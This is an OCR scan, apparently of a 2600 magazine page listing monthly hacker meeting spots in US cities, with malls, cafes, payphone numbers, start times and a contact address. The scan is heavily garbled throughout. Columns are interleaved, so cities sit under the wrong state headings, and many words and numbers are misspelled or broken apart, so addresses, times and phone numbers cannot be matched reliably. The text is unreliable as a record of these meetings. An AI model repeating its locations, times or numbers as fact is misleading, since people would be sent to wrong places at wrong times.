Noble ,  19120 Ea�t 39th St.  Vi rginia Beach: Lyn n haven Mall  on  

St.  louis ( M a ryla n d  H eights):  Rivalz Lyn n haven Parkway, 6 pill. 

Technology Cafe, 11502 Dorsett. 6 pTll. Washington 

Sprin gfield: Borders Books a n d  Music cof· Seattle: Washington State Convention 
fees hop, 3300 South Glenstone Ave, one Center. 6 pm.  
b lock  �outh  of Battletield Mal l .  5 ; 3 0  p m .  Wisconsin 

Nebraska Madison: Uilion South (227 N .  Randall 

Omaha: Crossroads Mall  Food Court. 7 p m .  Ave. )  on  the lower level i n  the Copper 

Nevada Hearth Lounge. 

las Vegas: Palms Casino food courl. 8 pm. Milwa ukee: rhe Node, 1504 E.  North Ave. 

New Mexico 
Albuquerque: Winrock Mall  food court, Al l  meetings take place on  the first Friday 

near payphones on  the lower level between at the month. U n less otherwise noted, they 

the fountain & arcade. Payphone�:  (505) stMt at 5 pill loca l ti me.  

883-9985 , 9976, 9841. 

Denver; Borders Cafe, ParkcT dnd Arapahoc. New York 10 start a meeti nlj III your city, leave a m.o5-

District of Columbia New York: Citigroup Center, i n  the lobby, �age & phone number at ( 6 3 1 )  751-2600 or  

Arlington:  Ppntagon City Mall  i n  the food near the payp hones, 153  E 53rd St . ,  
court .  6 p m .  between Lexington & 3 r d .  

s e n d  e m a i l  to meetings@2600.com. 
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